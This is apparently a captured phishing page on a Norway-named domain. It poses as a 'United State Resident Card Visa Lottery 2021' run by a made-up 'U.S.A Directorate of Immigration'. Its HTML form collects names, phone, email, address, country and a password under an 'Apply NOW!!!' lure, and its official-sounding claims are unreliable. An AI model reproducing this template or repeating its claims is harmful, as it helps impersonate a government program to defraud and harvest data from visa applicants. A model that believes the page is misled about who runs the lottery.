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http://norway-visa.online/index.html

<form action="http://norway-visa.online/index.html">
  <div class="row clearfix">
    <div class="input_field select_option">
      <select>
        <option>Select Title</option>
        <option>Mr</option>
        <option>Mrs</option>
        <option>Miss</option>
      </select>
      <div class="select_arrow"></div>
    </div>
    <div class="col_half">
      <div class="input_field"> <span><i aria-hidden="true" class="fa fa-user"></i></span>
        <input type="text" name="name" placeholder="First Name">
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    <div class="col_half">
      <div class="input_field"> <span><i aria-hidden="true" class="fa fa-user"></i></span>
        <input type="text" name="name" placeholder="Last Name">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-phone"></i></span>
    <input type="text" name="phone" placeholder="Phone Number">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-envelope"></i></span>
    <input type="text" name="email" placeholder="Email">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-home"></i></span>
    <input type="text" name="Course" placeholder="Address">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-globe"></i></span>
    <input type="text" name="email" placeholder="Country">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-lock"></i></span>
    <input type="password" name="password" placeholder="Password">
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  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-lock"></i></span>
    <input type="password" name="password" placeholder="Re-type Password">
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  <div class="input_field radio_option">
    <input type="radio" name="radiogroup1" id="rd1">
    <label for="rd1" style="color:white">Male</label>
    <input type="radio" name="radiogroup1" id="rd2">
    <label for="rd2" style="color:white">Female</label>
  </div>
  <a style="width:100%; text-align:center; display:block; margin-top:10px;" href="step2.html" class="button final">APPLY</a>
</form>

Text Content

UNITED STATE RESIDENT CARD VISA LOTTERY

UNITED STATE RESIDENT CARD VISA LOTTERY


UNITED STATE RESIDENT CARD VISA LOTTERY 2021...


The U.S.A Directorate of Immigration

The Diversity Immigrant Visa program, also known as the green card lottery, is a
United States government lottery program for receiving a United States Permanent
Resident Card. The Immigration Act of 1990 established the current and permanent
Diversity Visa program. Apply For United States Visa Lottery NOW!!!


APPLICATION FORM

Select Title Mr Mrs Miss









Male Female
APPLY



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